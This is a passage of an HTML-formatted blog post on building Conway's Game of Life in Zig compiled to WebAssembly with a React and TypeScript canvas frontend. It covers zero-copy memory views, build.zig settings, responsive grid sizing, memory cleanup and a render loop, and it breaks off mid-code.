&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;interface&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CGOLWasm&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;memory&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;WebAssembly.Memory&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Match exports in src/wasm.zig
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;init&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;number&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;height&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;number&lt;/span&gt;)&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;boolean&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;deinit&lt;/span&gt;()&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;getCellsPtr&lt;/span&gt;()&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;number&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;getCellsLen&lt;/span&gt;()&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;number&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wasmInstance&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;CGOLWasm&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;loadWasm&lt;/span&gt;()&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Promise&lt;/span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;CGOLWasm&lt;/span&gt;&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;wasmInstance&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wasmInstance&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;response&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fetch&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;/zig_life_wasm.wasm&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bytes&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;response&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;arrayBuffer&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;instance&lt;/span&gt; } &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;WebAssembly&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;instantiate&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;bytes&lt;/span&gt;, {});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;wasmInstance&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;instance&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;exports&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;unknown&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CGOLWasm&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wasmInstance&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getCellsArray&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;CGOLWasm&lt;/span&gt;)&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Uint8Array&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ptr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getCellsPtr&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;len&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getCellsLen&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Uint8Array&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;memory&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;buffer&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;ptr&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;len&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This returns a &lt;em&gt;view&lt;/em&gt; into WASM linear memory, hence no copying. The renderer reads directly from this array every frame. For an 80×50 grid that&amp;rsquo;s 4,000 cells; copying that 60 times per second would add up. With zero-copy, it&amp;rsquo;s essentially free.&lt;/p&gt;
&lt;p&gt;The trick works because &lt;code&gt;Cell&lt;/code&gt; is a &lt;code&gt;u8&lt;/code&gt; under the hood (that &lt;code&gt;enum(u8)&lt;/code&gt; declaration pays off here). JavaScript sees a flat byte array where &lt;code&gt;0&lt;/code&gt; is dead and &lt;code&gt;1&lt;/code&gt; is alive.&lt;/p&gt;
&lt;h3 id="build-configuration"&gt;Build Configuration&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;build.zig&lt;/code&gt; handles both build targets. Here is the wasm-specific build config:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// WASM build
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; wasm_target &lt;span style="color:#f92672"&gt;=&lt;/span&gt; b.&lt;span style="color:#a6e22e"&gt;resolveTargetQuery&lt;/span&gt;(.{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .cpu_arch &lt;span style="color:#f92672"&gt;=&lt;/span&gt; .wasm32,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .os_tag &lt;span style="color:#f92672"&gt;=&lt;/span&gt; .freestanding,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; wasm &lt;span style="color:#f92672"&gt;=&lt;/span&gt; b.&lt;span style="color:#a6e22e"&gt;addExecutable&lt;/span&gt;(.{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;zig_life_wasm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .root_module &lt;span style="color:#f92672"&gt;=&lt;/span&gt; b.&lt;span style="color:#a6e22e"&gt;createModule&lt;/span&gt;(.{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .root_source_file &lt;span style="color:#f92672"&gt;=&lt;/span&gt; b.&lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;src/wasm.zig&amp;#34;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .target &lt;span style="color:#f92672"&gt;=&lt;/span&gt; wasm_target,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .optimize &lt;span style="color:#f92672"&gt;=&lt;/span&gt; .ReleaseSmall,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wasm.entry &lt;span style="color:#f92672"&gt;=&lt;/span&gt; .disabled;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wasm.rdynamic &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Key settings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.entry = .disabled&lt;/code&gt; — WASM modules don&amp;rsquo;t have a &lt;code&gt;main&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rdynamic = true&lt;/code&gt; — Export all &lt;code&gt;export fn&lt;/code&gt; symbols&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.optimize = .ReleaseSmall&lt;/code&gt; — Minimize binary size&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The resulting &lt;code&gt;.wasm&lt;/code&gt; file is around 3KiB.&lt;/p&gt;
&lt;h2 id="the-react-frontend"&gt;The React Frontend&lt;/h2&gt;
&lt;p&gt;The web frontend is straightforward Bun, Vite, React, and TypeScript with a canvas. The interesting parts are the WASM integration and responsive sizing.&lt;/p&gt;
&lt;h3 id="responsive-grid-sizing"&gt;Responsive Grid Sizing&lt;/h3&gt;
&lt;p&gt;The grid dimensions are calculated from the viewport:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;useEffect&lt;/span&gt;(() &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;updateDimensions&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; () &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;width&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; window.&lt;span style="color:#a6e22e"&gt;innerWidth&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;height&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; window.&lt;span style="color:#a6e22e"&gt;innerHeight&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;gridWidth&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;floor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;width&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CELL_SIZE&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;gridHeight&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;floor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;height&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CELL_SIZE&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setDimensions&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;height&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setGridSize&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;gridWidth&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;height&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;gridHeight&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;`Window resized: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;x&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;height&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;, Grid size: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;gridWidth&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;x&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;gridHeight&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;updateDimensions&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; window.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;resize&amp;#34;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;updateDimensions&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; () &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; window.&lt;span style="color:#a6e22e"&gt;removeEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;resize&amp;#34;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;updateDimensions&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}, []);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When grid size changes, another effect re-initializes the WASM module:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;useEffect&lt;/span&gt;(() &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;gridSize&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;width&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;gridSize&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;height&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;success&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;init&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;gridSize&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;gridSize&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;height&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;success&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;randomize&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;BigInt&lt;/span&gt;(Date.&lt;span style="color:#a6e22e"&gt;now&lt;/span&gt;()), &lt;span style="color:#a6e22e"&gt;DENSITY&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setInitialized&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Free up allocations
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; () &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;deinit&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;wasm.deinit() called&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}, [&lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;gridSize&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That cleanup function in the return statement ensures memory is freed when the component unmounts or before re-initialization. This fixed a memory leak that was causing the tab to balloon in size after several resizes.&lt;/p&gt;
&lt;h3 id="render-loop"&gt;Render Loop&lt;/h3&gt;
&lt;p&gt;The render loop uses &lt;code&gt;requestAnimationFrame&lt;/code&gt; with a timestamp check to control simulation speed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;useEffect&lt;/span&gt;(() &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;initialized&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;loop&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;timestamp&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;number&lt;/span&gt;) &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;running&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;timestamp&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lastStepRef&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;current&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;TICK_SPEED&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;wasm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;step&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;lastStepRef&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;current&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;timestamp&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;animationRef&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;current&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;requestAnimationFrame&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;loop&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;animationRef&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;current&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;requestAnimationFrame&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;loop&lt;/span&gt;);
